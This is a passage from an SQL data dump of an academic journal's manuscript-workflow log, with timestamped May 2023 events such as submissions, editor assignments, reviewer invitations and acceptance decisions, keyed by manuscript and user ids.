article',13744,'Publisher',645),(127604,'2023-05-16 10:49:55','Manuscript Updated',13744,'Publisher',645),(127605,'2023-05-16 10:50:17','Manuscript Updated',13743,'Publisher',645),(127606,'2023-05-16 10:51:37','Publisher has been Accepted Articles  article',13743,'Publisher',645),(127607,'2023-05-16 10:51:58','Manuscript Updated',13743,'Publisher',645),(127608,'2023-05-16 11:35:01','Author sent Email',13760,'Author',13889),(127609,'2023-05-16 12:14:38','Publisher has been Assigned Editor',13762,'Publisher',319),(127610,'2023-05-16 15:20:09','Publisher has been Assigned Editor',13764,'Publisher',48),(127611,'2023-05-17 10:01:41','Manuscript Submitted by Author using Submission form',13765,'Author',13892),(127612,'2023-05-17 10:59:46','Publisher has Invited Reviewer',13764,'Publisher',48),(127613,'2023-05-17 10:59:50','Publisher has Invited Reviewer',13764,'Publisher',48),(127614,'2023-05-17 10:59:55','Publisher has Invited Reviewer',13764,'Publisher',48),(127615,'2023-05-17 10:59:59','Publisher has Invited Reviewer',13764,'Publisher',48),(127616,'2023-05-17 11:01:12','Editor has been Editor Decision Accepted article',13742,'Editor',195),(127617,'2023-05-17 11:01:45','Publisher: Accept Notification has been sent to Author',13742,'Publisher',48),(127618,'2023-05-17 12:21:26','Publisher has been Accepted Articles  article',13559,'',1495),(127619,'2023-05-17 12:38:35','Publisher has been Assigned Editor',13761,'',1491),(127620,'2023-05-17 14:27:02','Manuscript Submitted by Publisher',13766,'Publisher',75),(127621,'2023-05-17 14:56:04','Publisher has been Assigned Editor',13763,'Publisher',48),(127622,'2023-05-17 15:21:12','Manuscript Submitted by Publisher',13767,'Publisher',48),(127623,'2023-05-17 15:40:41','Editor has Accepted to review Manuscript',13653,'Editor',161),(127624,'2023-05-17 15:40:48','Editor has been Editor Decision Accepted article',13653,'Editor',161),(127625,'2023-05-17 15:42:44','Publisher has been Accepted Articles  article',13653,'Publisher',75),(127626,'2023-05-17 15:47:16','Publisher has been Assigned Editor',13765,'Publisher',75),(127627,'2023-05-17 15:47:52','Publisher has Invited Reviewer',13765,'Publisher',75),(127628,'2023-05-17 15:49:20','Publisher has Invited Reviewer',13765,'Publisher',75),(127629,'2023-05-17 15:50:32','Publisher has Invited Reviewer',13765,'Publisher',75),(127630,'2023-05-17 17:36:43','Publisher has Invited Reviewer',13763,'Publisher',48),(127631,'2023-05-17 17:36:47','Publisher has Invited Reviewer',13763,'Publisher',48),(127632,'2023-05-17 17:36:52','Publisher has Invited Reviewer',13763,'Publisher',48),(127633,'2023-05-17 17:58:28','Publisher has Invited Reviewer',12190,'Publisher',248),(127634,'2023-05-17 17:58:33','Publisher has Invited Reviewer',12190,'Publisher',248),(127635,'2023-05-17 22:32:01','Reviewer has submitted comments',13763,'Reviewer',5467),(127636,'2023-05-17 22:32:43','Editor has Accepted to review Manuscript',13761,'Editor',195),(127637,'2023-05-17 22:33:08','Editor has Invited Reviewer',13761,'Editor',195),(127638,'2023-05-17 22:33:12','Editor has Invited Reviewer',13761,'Editor',195),(127639,'2023-05-17 22:33:40','Editor has Invited Reviewer',13761,'Editor',195),(127640,'2023-05-17 22:33:45','Editor has Invited Reviewer',13761,'Editor',195),(127641,'2023-05-17 22:33:49','Editor has Invited Reviewer',13761,'Editor',195),(127642,'2023-05-17 22:33:54','Editor has Invited Reviewer',13761,'Editor',195),(127643,'2023-05-17 22:33:58','Editor has Invited Reviewer',13761,'Editor',195),(127644,'2023-05-17 22:34:03','Editor has Invited Reviewer',13761,'Editor',195),(127645,'2023-05-17 22:34:07','Editor has Invited Reviewer',13761,'Editor',195),(127646,'2023-05-17 22:34:12','Editor has Invited Reviewer',13761,'Editor',195),(127647,'2023-05-17 22:34:43','Editor has Invited Reviewer',13761,'Editor',195),(127648,'2023-05-17 22:34:48','Editor has Invited Reviewer',13761,'Editor',195),(127649,'2023-05-17 22:34:52','Editor has Invited Reviewer',13761,'Editor',195),(127650,'2023-05-17 22:34:57','Editor has Invited Reviewer',13761,'Editor',195),(127651,'2023-05-17 22:35:01','Editor has Invited Reviewer',13761,'Editor',195),(127652,'2023-05-17 22:35:06','Editor has Invited Reviewer',13761,'Editor',195),(127653,'2023-05-17 22:35:10','Editor has Invited Reviewer',13761,'Editor',195),(127654,'2023-05-17 22:35:15','Editor has Invited Reviewer',13761,'Editor',195),(127655,'2023-05-17 22:35:19','Editor has Invited Reviewer',13761,'Editor',195),(127656,'2023-05-17 22:35:24','Editor has Invited Reviewer',13761,'Editor',195),(127657,'2023-05-17 22:35:28','Editor has Invited Reviewer',13761,'Editor',195),(127658,'2023-05-17 22:35:33','Editor has Invited Reviewer',13761,'Editor',195),(127659,'2023-05-17 22:35:37','Editor has Invited Reviewer',13761,'Editor',195),(127660,'2023-05-17 22:35:42','Editor has Invited Reviewer',13761,'Editor',195),(127661,'2023-05-17 22:35:46','Editor has Invited Reviewer',13761,'Editor',195),(127662,'2023-05-17 22:35:51','Editor has Invited Reviewer',13761,'Editor',195),(127663,'2023-05-17 22:35:55','Editor has Invited Reviewer',13761,'Editor',195),(127664,'2023-05-17 22:36:00','Editor has Invited Reviewer',13761,'Editor',195),(127665,'2023-05-17 22:36:37','Editor has Invited Reviewer',13761,'Editor',195),(127666,'2023-05-17 22:36:41','Editor has Invited Reviewer',13761,'Editor',195),(127667,'2023-05-17 22:36:46','Editor has Invited Reviewer',13761,'Editor',195),(127668,'2023-05-17 22:36:50','Editor has Invited Reviewer',13761,'Editor',195),(127669,'2023-05-17 22:36:55','Editor has Invited Reviewer',13761,'Editor',195),(127670,'2023-05-17 22:36:59','Editor has Invited Reviewer',13761,'Editor',195),(127671,'2023-05-17 22:37:04','Editor has Invited Reviewer',13761,'Editor',195),(127672,'2023-05-17 22:37:08','Editor has Invited Reviewer',13761,'Editor',195),(127673,'2023-05-17 22:37:13','Editor has Invited Reviewer',13761,'Editor',195),(127674,'2023-05-17 22:37:17','Editor has Invited Reviewer',13761,'Editor',195),(127675,'2023-05-17 22:37:22','Editor has Invited Reviewer',13761,'Editor',195),(127676,'2023-05-17 23:32:24','Reviewer has submitted comments',13761,'Reviewer',5467),(127677,'2023-05-18 11:03:18','Manuscript Submitted by Author using Submission form',13768,'Author',13895),(127678,'2023-05-18 12:16:43','Publisher has been Assigned Editor',13767,'Publisher',48),(127679,'2023-05-18 12:17:59','Editor has Accepted to review Manuscript',13763,'Editor',194),(127680,'2023-05-18 12:18:07','Editor has been Editor Decision Accepted article',13763,'Editor',194),(127681,'2023-05-18 12:18:54','Publisher: Accept Notification has been sent to Author',13763,'Publisher',48),(127682,'2023-05-18 12:19:46','Publisher has Invited Reviewer',13760,'Publisher',48),(127683,'2023-05-18 12:19:51','Publisher has Invited Reviewer',13760,'Publisher',48),(127684,'2023-05-18 12:19:55','Publisher has Invited Reviewer',13760,'Publisher',48),(127685,'2023-05-18 12:20:00','Publisher has Invited Reviewer',13760,'Publisher',48),(127686,'2023-05-19 09:08:35','Manuscript Submitted by Publisher',13769,'',1212),(127687,'2023-05-19 09:53:57','Publisher has been Accepted Articles  article',13761,'',1491),(127688,'2023-05-19 10:52:09','Publisher has been Accepted Articles  article',13597,'',1376),(127689,'2023-05-19 11:38:56','Publisher has been Assigned Editor',2932,'',1491),(127690,'2023-05-19 15:21:45','Manuscript Submitted by Publisher',13770,'Publisher',48),(127691,'2023-05-19 19:08:02','Editor has been Editor Decision Rejected article',430,'Editor',195),(127692,'2023-05-19 23:37:56','Reviewer has submitted comments',13761,'Reviewer',11350),(127693,'2023-05-20 09:09:55','Publisher has been Assigned Editor',13768,'Publisher',274),(127694,'2023-05-20 09:47:49','Editor has Accepted to review Manuscript',13762,'Editor',1069),(127695,'2023-05-20 09:48:00','Editor has been Editor Decision Accepted article',13762,'Editor',1069),(127696,'2023-05-20 09:48:25','Editor has Accepted to review Manuscript',13752,'Editor',1068),(127697,'2023-05-20 09:48:35','Editor has been Editor Decision Accepted article',13752,'Editor',1068),(127698,'2023-05-20 09:48:42','Editor has Accepted to review Manuscript',13750,'Editor',1068),(127699,'2023-05-20 09:48:54','Editor has been Editor Decision Accepted article',13750,'Editor',1068),(127700,'2023-05-20 09:49:23','Editor has Accepted to review Manuscript',13751,'Editor',1067),(127701,'2023-05-20 09:49:33','Editor has been Editor Decision Accepted article',13751,'Editor',1067),(127702,'2023-05-20 09:50:00','Editor has been Editor Decision Accepted article',13751,'Editor',1067),(127703,'2023-05-20 09:50:20','Editor has Accepted to review Manuscript',13749,'Editor',1070),(127704,'2023-05-20 09:51:02','Editor has been Editor Decision Accepted article',13749,'Editor',1070),(127705,'2023-05-20 09:51:57','Publisher has been Accepted Articles  article',13762,'Publisher',319),(127706,'2023-05-20 09:52:30','Publisher has been Accepted Articles  article',13752,'Publisher',319),(127707,'2023-05-20 09:52:53','Publisher has been Accepted Articles  article',13751,'Publisher',319),(127708,'2023-05-20 09:53:24','Manuscript Updated',13750,'Publisher',319),(127709,'2023-05-20 09:53:39','Publisher has been Accepted Articles  article',13750,'Publisher',319),(127710,'2023-05-20 09:54:04','Manuscript Updated',13749,'Publisher',319),(127711,'2023-05-20 09:54:14','Publisher has been Accepted Articles  article',13749,'Publisher',319),(127712,'2023-05-20 12:09:54','Manuscript Submitted by Publisher',13771,'Publisher',274),(127713,'2023-05-20 23:01:53','Manuscript Submitted by Author using Submission form',13772,'Author',13898),(127714,'2023-05-21 12:45:50','Manuscript Submitted by Author using Submission form',13773,'Author',13899),(127715,'2023-05-22 07:39:21','Manuscript Submitted by Author',13774,'Author',13881),(127716,'2023-05-22 09:28:20','Publisher has been Assigned Editor',13770,'Publisher',48),(127717,'2023-05-22 09:34:09','Manuscript Submitted by Publisher',13775,'',1050),(127718,'2023-05-22 09:41:03','Manuscript Submitted by Publisher',13776,'',1050),(127719,'2023-05-22 10:32:57','Publisher has been Assigned Editor',13774,'Publisher',972),(127720,'2023-05-22 10:33:38','Publisher has Invited Reviewer',13774,'Publisher',972),(127721,'2023-05-22 10:33:43','Publisher has Invited Reviewer',13774,'Publisher',972),(127722,'2023-05-22 10:33:48','Publisher has Invited Reviewer',13774,'Publisher',972),(127723,'2023-05-22 10:33:52','Publisher has Invited Reviewer',13774,'Publisher',972),(127724,'2023-05-22 10:34:05','Publisher has Invited Reviewer',13774,'Publisher',972),(127725,'2023-05-22 10:34:10','Publisher has Invited Reviewer',13774,'Publisher',972),(127726,'2023-05-22 10:34:14','Publisher has Invited Reviewer',13774,'Publisher',972),(127727,'2023-05-22 10:34:19','Publisher has Invited Reviewer',13774,'Publisher',972),(127728,'2023-05-22 10:34:23','Publisher has Invited Reviewer',13774,'Publisher',972),(127729,'2023-05-22 10:34:28','Publisher has Invited Reviewer',13774,'Publisher',972),(127730,'2023-05-22 10:34:33','Publisher has Invited Reviewer',13774,'Publisher',972),(127731,'2023-05-22 10:34:38','Publisher has Invited Reviewer',13774,'Publisher',972),(127732,'2023-05-22 10:34:43','Publisher has Invited Reviewer',13774,'Publisher',972),(127733,'2023-05-22 10:34:47','Publisher has Invited Reviewer',13774,'Publisher',972),(127734,'2023-05-22 10:34:52','Publisher has Invited Reviewer',13774,'Publisher',972),(127735,'2023-05-22 10:34:57','Publisher has Invited Reviewer',13774,'Publisher',972),(127736,'2023-05-22 10:35:01','Publisher has Invited Reviewer',13774,'Publisher',972),(127737,'2023-05-22 10:35:06','Publisher has Invited Reviewer',13774,'Publisher',972),(127738,'2023-05-22 10:35:11','Publisher has Invited Reviewer',13774,'Publisher',972),(127739,'2023-05-22 10:35:15','Publisher has Invited Reviewer',13774,'Publisher',972),(127740,'2023-05-22 10:35:35','Publisher has Invited Reviewer',13774,'Publisher',972),(127741,'2023-05-22 10:35:40','Publisher has Invited Reviewer',13774,'Publisher',972),(127742,'2023-05-22 10:35:45','Publisher has Invited Reviewer',13774,'Publisher',972),(127743,'2023-05-22 10:35:59','Publisher has Invited Reviewer',13774,'Publisher',972),(127744,'2023-05-22 10:36:13','Publisher has Invited Reviewer',13774,'Publisher',972),(127745,'2023-05-22 10:36:26','Publisher has Invited Reviewer',13774,'Publisher',972),(127746,'2023-05-22 10:36:30','Publisher has Invited Reviewer',13774,'Publisher',972),(127747,'2023-05-22 10:36:35','Publisher has Invited Reviewer',13774,'Publisher',972),(127748,'2023-05-22 10:36:52','Publisher has Invited Reviewer',13774,'Publisher',972),(127749,'2023-05-22 10:37:06','Publisher has Invited Reviewer',13774,'Publisher',972),(127750,'2023-05-22 10:37:10','Publisher has Invited Reviewer',13774,'Publisher',972),(127751,'2023-05-22 10:37:15','Publisher has Invited Reviewer',13774,'Publisher',972),(127752,'2023-05-22 10:37:31','Publisher has Invited Reviewer',13774,'Publisher',972),(127753,'2023-05-22 10:37:35','Publisher has Invited Reviewer',13774,'Publisher',972),(127754,'2023-05-22 10:37:40','Publisher has Invited Reviewer',13774,'Publisher',972),(127755,'2023-05-22 10:37:45','Publisher has Invited Reviewer',13774,'Publisher',972),(127756,'2023-05-22 10:37:49','Publisher has Invited Reviewer',13774,'Publisher',972),(127757,'2023-05-22 10:37:54','Publisher has Invited Reviewer',13774,'Publisher',972),(127758,'2023-05-22 10:39:11','Publisher has Invited Reviewer',13774,'Publisher',972),(127759,'2023-05-22 10:39:16','Publisher has Invited Reviewer',13774,'Publisher',972),(127760,'2023-05-22 10:39:21','Publisher has Invited Reviewer',13774,'Publisher',972),(127761,'2023-05-22 11:26:17','Publisher has been Assigned Editor',13722,'Publisher',984),(127762,'2023-05-22 11:26:43','Publisher has been Assigned Editor',13718,'Publisher',984),(127763,'2023-05-22 11:27:15','Publisher has been Assigned Editor',13715,'Publisher',984),(127764,'2023-05-22 11:27:31','Publisher has been Assigned Editor',13714,'Publisher',984),(127765,'2023-05-22 11:28:02','Publisher has been Assigned Editor',13713,'Publisher',984),(127766,'2023-05-22 11:37:41','Editor has Accepted to review Manuscript',13722,'Editor',1780),(127767,'2023-05-22 11:37:46','Editor has Accepted to review Manuscript',13462,'Editor',1780),(127768,'2023-05-22 11:41:40','Editor has Accepted to review Manuscript',13718,'Editor',1710),(127769,'2023-05-22 11:41:50','Editor has been Editor Decision Accepted article',13718,'Editor',1710),(127770,'2023-05-22 11:43:16','Editor has been Editor Decision Accepted article',13722,'Editor',1780),(127771,'2023-05-22 11:44:23','Editor has Accepted to review Manuscript',13715,'Editor',1406),(127772,'2023-05-22 11:44:38','Editor has been Editor Decision Accepted article',13715,'Editor',1406),(127773,'2023-05-22 11:45:07','Editor has Accepted to review Manuscript',13714,'Editor',1654),(127774,'2023-05-22 11:45:56','Editor has been Editor Decision Accepted article',13714,'Editor',1654),(127775,'2023-05-22 11:46:49','Editor has Accepted to review Manuscript',13713,'Editor',1782),(127776,'2023-05-22 11:46:59','Editor has been Editor Decision Accepted article',13713,'Editor',1782),(127777,'2023-05-22 13:16:05','Publisher has been Assigned Editor',13769,'',1212),(127778,'2023-05-22 16:45:49','Manuscript Submitted by Publisher',13777,'Publisher',248),(127779,'2023-05-22 17:13:52','Manuscript Submitted by Publisher',13778,'Publisher',984),(127780,'2023-05-22 17:22:30','Manuscript Submitted by Publisher',13779,'Publisher',984),(127781,'2023-05-22 17:26:29','Manuscript Submitted by Publisher',13780,'Publisher',984),(127782,'2023-05-22 17:31:51','Manuscript Submitted by Publisher',13781,'Publisher',984),(127783,'2023-05-22 17:36:16','Publisher has Invited Reviewer',13767,'Publisher',48),(127784,'2023-05-22 17:36:20','Publisher has Invited Reviewer',13767,'Publisher',48),(127785,'2023-05-22 17:36:25','Publisher has Invited Reviewer',13767,'Publisher',48),(127786,'2023-05-22 17:36:30','Publisher has Invited Reviewer',13767,'Publisher',48),(127787,'2023-05-22 17:47:52','Manuscript Submitted by Publisher',13782,'Publisher',984),(127788,'2023-05-23 01:50:57','Reviewer has submitted comments',13774,'Reviewer',21671),(127789,'2023-05-23 09:28:05','Publisher has been Assigned Editor',13773,'Publisher',376),(127790,'2023-05-23 09:29:39','Publisher has Invited Reviewer',13773,'Publisher',376),(127791,'2023-05-23 09:29:44','Publisher has Invited Reviewer',13773,'Publisher',376),(127792,'2023-05-23 09:29:49','Publisher has Invited Reviewer',13773,'Publisher',376),(127793,'2023-05-23 09:29:53','Publisher has Invited Reviewer',13773,'Publisher',376),(127794,'2023-05-23 09:29:58','Publisher has Invited Reviewer',13773,'Publisher',376),(127795,'2023-05-23 09:30:03','Publisher has Invited Reviewer',13773,'Publisher',376),(127796,'2023-05-23 09:50:19','Publisher has Invited Reviewer',13765,'Publisher',75),(127797,'2023-05-23 09:50:39','Publisher has Invited Reviewer',13765,'Publisher',75),(127798,'2023-05-23 09:50:43','Publisher has Invited Reviewer',13765,'Publisher',75),(127799,'2023-05-23 17:44:56','Publisher has been Assigned Editor',13771,'Publisher',274),(127800,'2023-05-24 09:28:46','Publisher has been Assigned Editor',13777,'Publisher',248),(127801,'2023-05-24 10:59:05','Editor has Accepted to review Manuscript',13773,'Editor',1781),(127802,'2023-05-24 10:59:22','Editor has been Editor Decision Accepted article',13773,'Editor',1781),(127803,'2023-05-24 15:37:22','Publisher has been Accepted Articles  article',13742,'Publisher',48),(127804,'2023-05-24 15:41:39','Editor has Accepted to review Manuscript',13764,'Editor',194),(127805,'2023-05-24 15:42:05','Editor has been Editor Decision Accepted article',13764,'Editor',194),(127806,'2023-05-24 15:47:40','Reviewer has submitted comments',13764,'Reviewer',12532),(127807,'2023-05-24 15:48:20','Manuscript Updated',13764,'Publisher',48),(127808,'2023-05-24 15:48:34','Publisher has been Accepted Articles  article',13764,'Publisher',48),(127809,'2023-05-25 10:25:58','Reviewer has submitted comments',13773,'Reviewer',9154),(127810,'2023-05-25 10:27:41','Reviewer has submitted comments',13773,'Reviewer',9134),(127811,'2023-05-25 10:30:07','Reviewer has submitted comments',13773,'Reviewer',7287),(127812,'2023-05-25 10:32:49','Reviewer has submitted comments',13773,'Reviewer',9133),(127813,'2023-05-25 10:33:59','Manuscript Submitted by Publisher',13783,'Publisher',48),(127814,'2023-05-25 10:34:20','Publisher: Accept Notification has been sent to Author',13773,'Publisher',376),(127815,'2023-05-25 11:24:43','Manuscript Submitted by Author using Submission form',13784,'Author',13907),(127816,'2023-05-25 14:59:33','Manuscript Submitted by Publisher',13785,'Publisher',48),(127817,'2023-05-25 17:00:26','Reviewer has submitted comments',13760,'Reviewer',11714),(127818,'2023-05-25 17:01:28','Editor has Accepted to review Manuscript',13760,'Editor',194),(127819,'2023-05-25 17:01:46','Editor has been Editor Decision Accepted article',13760,'Editor',194),(127820,'2023-05-25 17:03:10','Publisher: Accept Notification has been sent to Author',13760,'Publisher',48),(127821,'2023-05-25 17:03:32','Publisher has been Accepted Articles  article',13760,'Publisher',48),(127822,'2023-05-26 11:59:12','Publisher has been Assigned Editor',13785,'Publisher',48),(127823,'2023-05-26 11:59:25','Publisher has been Assigned Editor',13783,'Publisher',48),(127824,'2023-05-26 15:53:21','Editor has Accepted to review Manuscript',13700,'Editor',1789),(127825,'2023-05-26 15:53:34','Editor has been Editor Decision Accepted article',13700,'Editor',1789),(127826,'2023-05-26 15:53:40','Editor has Accepted to review Manuscript',13768,'Editor',1789),(127827,'2023-05-26 15:53:46','Editor has been Editor Decision Accepted article',13768,'Editor',1789),(127828,'2023-05-26 15:53:51','Editor has Accepted to review Manuscript',13771,'Editor',1789),(127829,'2023-05-26 15:53:57','Editor has been Editor Decision Accepted article',13771,'Editor',1789),(127830,'2023-05-26 15:55:17','Publisher has Invited Reviewer',13768,'Publisher',274),(127831,'2023-05-26 15:55:17','Publisher has Invited Reviewer',13768,'Publisher',274),(127832,'2023-05-26 15:55:17','Publisher has Invited Reviewer',13768,'Publisher',274),(127833,'2023-05-26 15:55:18','Publisher has Invited Reviewer',13768,'Publisher',274),(127834,'2023-05-26 15:55:18','Publisher has Invited Reviewer',13768,'Publisher',274),(127835,'2023-05-26 15:55:19','Publisher has Invited Reviewer',13768,'Publisher',274),(127836,'2023-05-26 15:55:19','Publisher has Invited Reviewer',13768,'Publisher',274),(127837,'2023-05-26 15:55:20','Publisher has Invited Reviewer',13768,'Publisher',274),(127838,'2023-05-26 15:55:20','Publisher has Invited Reviewer',13768,'Publisher',274),(127839,'2023-05-26 15:55:21','Publisher has Invited Reviewer',13768,'Publisher',274),(127840,'2023-05-26 15:55:23','Publisher has Invited Reviewer',13768,'Publisher',274),(127841,'2023-05-26 15:55:24','Publisher has Invited Reviewer',13768,'Publisher',274),(127842,'2023-05-26 15:55:26','Publisher has Invited Reviewer',13768,'Publisher',274),(127843,'2023-05-26 15:55:27','Publisher has Invited Reviewer',13768,'Publisher',274),(127844,'2023-05-26 15:55:29','Publisher has Invited Reviewer',13768,'Publisher',274),(127845,'2023-05-26 15:55:30','Publisher has Invited Reviewer',13768,'Publisher',274),(127846,'2023-05-26 15:55:32','Publisher has Invited Reviewer',13768,'Publisher',274),(127847,'2023-05-26 15:55:33','Publisher has Invited Reviewer',13768,'Publisher',274),(127848,'2023-05-26 15:55:35','Publisher has Invited Reviewer',13768,'Publisher',274),(127849,'2023-05-26 15:55:36','Publisher has Invited Reviewer',13768,'Publisher',274),(127850,'2023-05-26 15:55:38','Publisher has Invited Reviewer',13768,'Publisher',274),(127851,'2023-05-26 15:55:40','Publisher has Invited Reviewer',13768,'Publisher',274),(127852,'2023-05-26 15:55:41','Publisher has Invited Reviewer',13768,'Publisher',274),(127853,'2023-05-26 15:55:43','Publisher has Invited Reviewer',13768,'Publisher',274),(127854,'2023-05-26 15:55:44','Publisher has Invited Reviewer',13768,'Publisher',274),(127855,'2023-05-26 15:55:46','Publisher has Invited Reviewer',13768,'Publisher',274),(127856,'2023-05-26 15:55:47','Publisher has Invited Reviewer',13768,'Publisher',274),(127857,'2023-05-26 15:55:49','Publisher has Invited Reviewer',13768,'Publisher',274),(127858,'2023-05-26 15:55:50','Publisher has Invited Reviewer',13768,'Publisher',274),(127859,'2023-05-26 15:55:52','Publisher has Invited Reviewer',13768,'Publisher',274),(127860,'2023-05-26 15:55:53','Publisher has Invited Reviewer',13768,'Publisher',274),(127861,'2023-05-26 15:55:55','Publisher has Invited Reviewer',13768,'Publisher',274),(127862,'2023-05-26 15:55:57','Publisher has Invited Reviewer',13768,'Publisher',274),(127863,'2023-05-26 15:55:58','Publisher has Invited Reviewer',13768,'Publisher',274),(127864,'2023-05-26 15:56:00','Publisher has Invited Reviewer',13768,'Publisher',274),(127865,'2023-05-26 15:56:01','Publisher has Invited Reviewer',13768,'Publisher',274),(127866,'2023-05-26 15:56:03','Publisher has Invited Reviewer',13768,'Publisher',274),(127867,'2023-05-26 15:56:04','Publisher has Invited Reviewer',13768,'Publisher',274),(127868,'2023-05-26 15:56:06','Publisher has Invited Reviewer',13768,'Publisher',274),(127869,'2023-05-26 15:56:07','Publisher has Invited Reviewer',13768,'Publisher',274),(127870,'2023-05-26 15:56:09','Publisher has Invited Reviewer',13768,'Publisher',274),(127871,'2023-05-26 15:56:11','Publisher has Invited Reviewer',13768,'Publisher',274),(127872,'2023-05-26 15:56:12','Publisher has Invited Reviewer',13768,'Publisher',274),(127873,'2023-05-26 15:56:13','Publisher has Invited Reviewer',13768,'Publisher',274),(127874,'2023-05-26 15:56:14','Publisher has Invited Reviewer',13768,'Publisher',274),(127875,'2023-05-26 15:56:14','Publisher has Invited Reviewer',13768,'Publisher',274),(127876,'2023-05-26 15:56:15','Publisher has Invited Reviewer',13768,'Publisher',274),(127877,'2023-05-26 15:56:41','Publisher has Invited Reviewer',13771,'Publisher',274),(127878,'2023-05-26 15:56:42','Publisher has Invited Reviewer',13771,'Publisher',274),(127879,'2023-05-26 15:56:42','Publisher has Invited Reviewer',13771,'Publisher',274),(127880,'2023-05-26 15:56:42','Publisher has Invited Reviewer',13771,'Publisher',274),(127881,'2023-05-26 15:56:43','Publisher has Invited Reviewer',13771,'Publisher',274),(127882,'2023-05-26 15:56:43','Publisher has Invited Reviewer',13771,'Publisher',274),(127883,'2023-05-26 15:56:44','Publisher has Invited Reviewer',13771,'Publisher',274),(127884,'2023-05-26 15:56:44','Publisher has Invited Reviewer',13771,'Publisher',274),(127885,'2023-05-26 15:56:44','Publisher has Invited Reviewer',13771,'Publisher',274),(127886,'2023-05-26 15:56:45','Publisher has Invited Reviewer',13771,'Publisher',274),(127887,'2023-05-26 15:56:45','Publisher has Invited Reviewer',13771,'Publisher',274),(127888,'2023-05-26 15:56:46','Publisher has Invited Reviewer',13771,'Publisher',274),(127889,'2023-05-26 15:56:46','Publisher has Invited Reviewer',13771,'Publisher',274),(127890,'2023-05-26 15:56:47','Publisher has Invited Reviewer',13771,'Publisher',274),(127891,'2023-05-26 15:56:47','Publisher has Invited Reviewer',13771,'Publisher',274),(127892,'2023-05-26 15:56:48','Publisher has Invited Reviewer',13771,'Publisher',274),(127893,'2023-05-26 15:56:48','Publisher has Invited Reviewer',13771,'Publisher',274),(127894,'2023-05-26 15:56:48','Publisher has Invited Reviewer',13771,'Publisher',274),(127895,'2023-05-26 15:56:49','Publisher has Invited Reviewer',13771,'Publisher',274),(127896,'2023-05-26 15:56:49','Publisher has Invited Reviewer',13771,'Publisher',274),(127897,'2023-05-26 15:56:49','Publisher has Invited Reviewer',13771,'Publisher',274),(127898,'2023-05-26 15:56:50','Publisher has Invited Reviewer',13771,'Publisher',274),(127899,'2023-05-26 15:56:50','Publisher has Invited Reviewer',13771,'Publisher',274),(127900,'2023-05-26 15:56:51','Publisher has Invited Reviewer',13771,'Publisher',274),(127901,'2023-05-26 15:56:52','Publisher has Invited Reviewer',13771,'Publisher',274),(127902,'2023-05-26 15:56:52','Publisher has Invited Reviewer',13771,'Publisher',274),(127903,'2023-05-26 15:56:53','Publisher has Invited Reviewer',13771,'Publisher',274),(127904,'2023-05-26 15:56:55','Publisher has Invited Reviewer',13771,'Publisher',274),(127905,'2023-05-26 15:56:56','Publisher has Invited Reviewer',13771,'Publisher',274),(127906,'2023-05-26 15:56:58','Publisher has Invited Reviewer',13771,'Publisher',274),(127907,'2023-05-26 15:56:59','Publisher has Invited Reviewer',13771,'Publisher',274),(127908,'2023-05-26 15:57:01','Publisher has Invited Reviewer',13771,'Publisher',274),(127909,'2023-05-26 15:57:02','Publisher has Invited Reviewer',13771,'Publisher',274),(127910,'2023-05-26 15:57:04','Publisher has Invited Reviewer',13771,'Publisher',274),(127911,'2023-05-26 15:57:06','Publisher has Invited Reviewer',13771,'Publisher',274),(127912,'2023-05-26 15:57:07','Publisher has Invited Reviewer',13771,'Publisher',274),(127913,'2023-05-26 15:57:09','Publisher has Invited Reviewer',13771,'Publisher',274),(127914,'2023-05-26 15:57:10','Publisher has Invited Reviewer',13771,'Publisher',274),(127915,'2023-05-26 15:57:12','Publisher has Invited Reviewer',13771,'Publisher',274),(127916,'2023-05-26 15:57:13','Publisher has Invited Reviewer',13771,'Publisher',274),(127917,'2023-05-26 15:57:14','Publisher has Invited Reviewer',13771,'Publisher',274),(127918,'2023-05-26 15:57:14','Publisher has Invited Reviewer',13771,'Publisher',274),(127919,'2023-05-26 15:57:15','Publisher has Invited Reviewer',13771,'Publisher',274),(127920,'2023-05-26 15:57:15','Publisher has Invited Reviewer',13771,'Publisher',274),(127921,'2023-05-26 15:57:16','Publisher has Invited Reviewer',13771,'Publisher',274),(127922,'2023-05-26 15:57:16','Publisher has Invited Reviewer',13771,'Publisher',274),(127923,'2023-05-26 15:57:17','Publisher has Invited Reviewer',13771,'Publisher',274),(127924,'2023-05-27 09:09:48','Manuscript Submitted by Publisher',13786,'',1050),(127925,'2023-05-27 10:05:57','Manuscript Updated',13763,'Publisher',48),(127926,'2023-05-27 10:06:13','Publisher has been Accepted Articles  article',13763,'Publisher',48),(127927,'2023-05-27 10:06:43','Manuscript Updated',13763,'Publisher',48),(127928,'2023-05-27 11:22:03','Manuscript Submitted by Publisher',13787,'Publisher',48),(127929,'2023-05-29 09:54:48','Publisher has Invited Reviewer',13770,'Publisher',48),(127930,'2023-05-29 09:54:52','Publisher has Invited Reviewer',13770,'Publisher',48),(127931,'2023-05-29 09:54:57','Publisher has Invited Reviewer',13770,'Publisher',48),(127932,'2023-05-29 09:55:01','Publisher has Invited Reviewer',13770,'Publisher',48),(127933,'2023-05-29 09:55:06','Publisher has Invited Reviewer',13770,'Publisher',48),(127934,'2023-05-29 09:55:46','Publisher has Invited Reviewer',13783,'Publisher',48),(127935,'2023-05-29 09:55:51','Publisher has Invited Reviewer',13783,'Publisher',48),(127936,'2023-05-29 09:56:26','Publisher has Invited Reviewer',13785,'Publisher',48),(127937,'2023-05-29 09:56:31','Publisher has Invited Reviewer',13785,'Publisher',48),(127938,'2023-05-29 13:59:54','Editor has Accepted to review Manuscript',13767,'Editor',194),(127939,'2023-05-29 14:00:15','Editor has been Editor Decision Accepted article',13767,'Editor',194),(127940,'2023-05-29 14:01:26','Manuscript Updated',13767,'Publisher',48),(127941,'2023-05-29 14:02:19','Publisher has been Accepted Articles  article',13767,'Publisher',48),(127942,'2023-05-29 14:03:12','Manuscript Updated',13767,'Publisher',48),(127943,'2023-05-29 14:40:48','Editor has Accepted to review Manuscript',13770,'Editor',194),(127944,'2023-05-29 14:40:58','Editor has been Editor Decision Accepted article',13770,'Editor',194),(127945,'2023-05-29 14:41:48','Manuscript Updated',13770,'Publisher',48),(127946,'2023-05-29 14:42:00','Publisher has been Accepted Articles  article',13770,'Publisher',48),(127947,'2023-05-29 15:43:01','Editor has Accepted to review Manuscript',13783,'Editor',194),(127948,'2023-05-29 15:43:16','Editor has been Editor Decision Accepted article',13783,'Editor',194),(127949,'2023-05-29 15:45:56','Reviewer has submitted comments',13783,'Reviewer',21374),(127950,'2023-05-29 15:46:17','Manuscript Updated',13783,'Publisher',48),(127951,'2023-05-29 15:46:28','Publisher has been Accepted Articles  article',13783,'Publisher',48),(127952,'2023-05-29 